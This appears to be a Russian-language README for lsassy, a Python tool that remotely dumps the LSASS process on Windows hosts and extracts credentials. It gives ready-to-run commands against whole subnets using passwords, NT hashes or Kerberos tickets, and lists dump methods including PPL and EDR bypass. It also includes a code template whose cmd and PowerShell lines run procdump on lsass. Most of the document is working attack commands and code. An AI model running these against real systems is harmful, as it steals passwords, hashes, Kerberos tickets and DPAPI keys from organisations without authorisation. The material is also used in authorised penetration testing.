Удалённое извлечение учётных данных из LSASS без агента: использует WMI/COM через impacket для чтения памяти процесса и pypykatz для парсинга, нативно интегрируется как модуль NetExec.
# pip pip install lsassy # Из исходников git clone https://github.com/Hackndo/lsassy cd lsassy && pip install -e . # Пример: дамп учётных данных lsassy -d domain.local -u admin -p 'Password123' 192.168.1.0/24 # Интеграция с CrackMapExec nxc smb 192.168.1.0/24 -u admin -p 'Password123' -M lsassy
Инструмент на Python для удалённого извлечения учётных данных на наборе хостов. Этот пост в блоге объясняет, как он работает.
Этот инструмент использует проект impacket для удалённого чтения необходимых байтов в дампе lsass и pypykatz для извлечения учётных данных.
| Разделы | Описание |
|---|---|
| Предупреждение | Прочитайте это перед использованием инструмента |
| Установка | Установка Lsassy |
| Базовое использование | Базовое использование lsassy |
| Расширенное использование | Расширенное использование lsassy с объяснением параметров |
| Добавление метода дампа | Как добавить пользовательский метод дампа lsass |
| Благодарности | Благодарность этим людям и инструментам |
| Официальный Discord | Официальный сервер Discord |
Хотя я приложил все усилия, чтобы сделать инструмент стабильным, при возникновении ошибок могут остаться следы.
Этот инструмент может оставить некоторые дампы lsass, если не сможет удалить их (хотя он старается это сделать), или оставить запланированную задачу в работающем состоянии, если не сможет удалить её. Этого не должно happen, но это может произойти. Теперь вы знаете, используйте его с осторожностью.
lsassy работает с python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy работает из коробки для нескольких целей (IP-адрес(а), диапазон(ы), CIDR(ы), имя(ена) хоста, FQDN(ы), файл(ы) со списком целей)
lsassy [-d домен] -u pixis -p P4ssw0rd цели
lsassy [-d домен] -u pixis -H [LM:]NT цели
По умолчанию lsassy будет пытаться создать дамп lsass удалённо, используя метод comsvcs.dll, либо через WMI, либо через удалённую запланированную задачу.
lsassy может аутентифицироваться с помощью Kerberos. Для этого необходим действительный TGT в переменной окружения KRB5CCNAME. Подробности см. в расширенном использовании.
lsassy -k цели
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
В lsassy реализованы различные методы создания дампов lsass, и предоставлены некоторые опции для контроля над тем, как инструмент будет действовать.
lsassy разделен на модули
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Этот модуль является оркестратором. Он создает класс lsassy с предоставленными аргументами и опциями, а затем вызывает различные модули для получения учётных данных.
Этот модуль используется для ведения журнала.
Это слой, построенный поверх Impacket для работы как встроенный объект файла Python. Он переопределяет такие методы, как open, read, seek или close.
Этот модуль отвечает за всю логику создания дампов. В зависимости от используемого метода он выполняет код на удалённом хосте для создания дампа lsass указанным способом.
Этот модуль опирается на pypykatz и использует модуль файлов lsassy для удалённого разбора дампа lsass.
Этот модуль обрабатывает часть вывода либо на экран в различных форматах и/или записывает результаты в файл.
Этот инструмент может создавать дамп lsass разными способами.
Методы дампа (-m или --method)
* comsvcs
* comsvcs_stealth
* dllinject
* procdump
* procdump_embedded
* dumpert
* dumpertdll
* nativedump
* ppldump
* ppldump_embedded
* mirrordump
* mirrordump_embedded
* wer
* EDRSandBlast
* nanodump
* rdrleakdiag
* silentprocessexit
* sqldumper
Этот метод использует только встроенные файлы Windows для извлечения удалённых учётных данных. Он использует функцию minidump из comsvcs.dll для создания дампа процесса lsass.
Этот метод загружает procdump.exe из SysInternals для создания дампа процесса lsass.
Этот метод загружает dumpert.exe или dumpert.dll от outflanknl для создания дампа процесса lsass с использованием системных вызовов.
Этот метод загружает NativeDump.exe от ricardojoserf для создания дампа процесса lsass, используя только NTAPI.
Этот метод загружает ppldump.exe от itm4n для создания дампа процесса lsass и обхода PPL.
Этот метод загружает Mirrordump.exe от Ccob для создания дампа lsass с использованием уже открытого дескриптора lsass через плагин LSA.
Этот метод использует технику WER, применяемую в PowerSploit.
Для некоторых методов дампа требуются опции, такие как путь к procdump или dumpert. Эти опции можно задать с помощью --options или -O с разделенным запятыми списком опций в формате ключ=значение.
... --options ключ=значение,foo=bar
Например:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Вы можете выбрать разбор уже созданного дампа процесса lsass, указав ключ --parse-only наряду с параметрами --dump-path и --dump-name.
Обратите внимание, что если вы выберете этот метод, удалённый дамп lsass НЕ будет удалён.
Например:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Если вы не хотите, чтобы дамп автоматически удалялся после выполнения lsassy, вы можете использовать --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Билеты Kerberos будут извлечены и сохранены в формате cccache в каталог $HOME/.config/lsassy/tickets. Вы можете указать выходной каталог с помощью параметра -K [каталог] или --kerberos-dir [каталог]. Если этот каталог не существует, инструмент попытается создать его перед выводом билетов.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
Мастер-ключи DPAPI будут извлечены и сохранены в формате {GUID}:SHA1 в файл $HOME/.config/lsassy/masterkeys.txt. Вы можете указать путь к файлу мастер-ключей с помощью параметра -M [путь] или --masterkeys-file [путь]. Если путь к файлу не существует, инструмент попытается создать его перед созданием файла.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
Существует три различных способа аутентификации на удаленных целевых системах с помощью lsassy. Единственное требование — пользователь должен иметь права локального администратора на удаленных целевых системах.
Первый и самый очевидный способ — использование учетных данных в открытом виде. Это может быть локальный или доменный пользователь.
## Локальный пользователь
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Доменный пользователь
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
Также возможна аутентификация с использованием NT-хеша пользователя. Можно предоставить либо формат LM:NT, либо только NT-версию.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## Или
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Также можно аутентифицироваться с помощью Kerberos. Для этого необходимо иметь действительный тикет, сохраненный на диске, и путь к тикету должен быть указан в переменной окружения KRB5CCNAME. Для целей тестирования это можно сделать с помощью инструмента impacket getTGT.py.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
Эта команда запросит TGT и сохранит его в файле jsnow.ccache.
Чтобы lsassy знал, какой тикет использовать, необходимо явно указать путь к тикету в переменной окружения KRB5CCNAME.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
После правильной настройки вы сможете использовать этот тикет для аутентификации с помощью параметра -k. Поскольку вы используете этот тикет, больше не нужно предоставлять другие данные для аутентификации.
lsassy -k server01.hackn.lab
Обратите внимание, что для работы этого метода необходима корректная конфигурация DNS: либо динамическая с действительным DNS-сервером, либо статическая с использованием файла hosts. Кроме того, при генерации тикетов и использовании lsassy всегда следует использовать полное доменное имя (FQDN), то есть server01.hackn.lab вместо server01.
lsassy может выводить учетные данные в различных форматах с помощью флага --format или -f.
Формат по умолчанию, аккуратный и чистый вывод учетных данных в золотистых цветах. Доверяем credz.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Вывод результата в формате JSON. Может быть полезен при вызове из скрипта.
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Формат, удобный для grep, полезный в однострочных командах.
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
Не выводит результат. Полезно при использовании --outfile.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
Сохраняет результат в формате, удобном для grep, в указанный файл (--outfile или -o).
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
Если вы хотите получить только учетные данные пользователей, исключив учетные данные компьютеров, используйте флаг --users.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
Если вы не хотите экспортировать тикеты, используйте флаг --no-tickets.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
Если вы не хотите экспортировать мастер-ключи, используйте флаг --no-masterkeys.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
Вы можете указать количество используемых потоков [1-256] с помощью параметра --threads.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
В каталоге dumpmethod находится файл dummy.py.tpl. Этот файл содержит базовую структуру для создания нового метода дампа.
Этот метод обязателен, так как он будет использоваться для выполнения кода на удаленном хосте для создания дампа lsass каким-либо способом. Он должен возвращать словарь с двумя элементами: cmd и pwsh.
Команда cmd — это команда, понимаемая утилитой cmd.exe. Команда pwsh — это команда, понимаемая PowerShell (в большинстве случаев команда cmd также валидна в PowerShell).
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Существует класс Dependency, который можно использовать для простой загрузки файлов, необходимых для метода дампа, таких как procdump.exe от Sysinternals. Можно использовать два метода:
prepare_dependencies для проверки, предоставил ли пользователь все параметры для локального поиска файла на диске пользователя и его загрузки, а затем для фактической загрузки файлаclean_dependencies для попытки удаления загруженных файловЭтот метод будет вызван до выполнения команд, предоставленных get_commands. Он может использоваться для загрузки файлов или проверки чего-либо.
Этот метод будет вызван после выполнения команд, предоставленных get_commands. Он может использоваться для удаления загруженных файлов или очистки чего-либо.
Вот пример с procdump и некоторыми комментариями.
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
Если ваш метод дампа не может создать файл дампа с пользовательским именем файла,
необходимо установить эту настройку в False и раскомментировать 'dump_name',
чтобы указать ожидаемое имя файла дампа на удаленной системе.
"""
custom_dump_name_support = True # По умолчанию: True
# dump_name = "" # По умолчанию: Случайное имя файла дампа
"""
Если ваш метод дампа не может создать файл дампа в пользовательской директории,
необходимо установить эту настройку в False и раскомментировать 'dump_share' и 'dump_path',
чтобы указать ожидаемое расположение файла дампа на удаленной системе.
Если ваш инструмент для дампа может иметь пользовательское имя дампа, но не пользовательское расширение,
укажите расширение дампа в переменной dump_ext.
В этом примере procdump.exe создаст дамп в любом месте, с именем, которое мы выберем,
но всегда будет добавлять расширение .dmp.
"""
custom_dump_path_support = True # По умолчанию: True
# dump_share = "" # По умолчанию: "C$"
# dump_path = "" # По умолчанию: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ переопределяется для создания некоторых переменных экземпляра.
"""
super().__init__(session, timeout)
"""
Этот модуль требует, чтобы procdump.exe был загружен на удаленный сервер перед выполнением.
Поэтому мы добавляем procdump как Dependency. Первый аргумент — это имя для нашей зависимости (может быть произвольным),
а второй аргумент — имя исполняемого файла по умолчанию на диске локального пользователя.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Метод prepare переопределяется, чтобы мы могли:
- проверить, предоставлены ли обязательные параметры
- загрузить procdump на удаленный хост.
Все это можно сделать с помощью метода prepare_dependencies нашего объекта Dependency.
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Метод clean переопределяется, чтобы мы могли удалить нашу зависимость, если она была загружена.
Метод clean_dependencies сделает это за нас.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
Метод get_commands переопределяется, так как он обязателен.
Предоставляются два различных способа создания дампа lsass с помощью cmd.exe и powershell, которые возвращаются.
Метод get_remote_path нашего объекта Dependency используется для получения правильного удаленного пути
к procdump на нашей целевой системе.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Вы можете проверить класс dummy для получения дополнительных комментариев и/или информации.
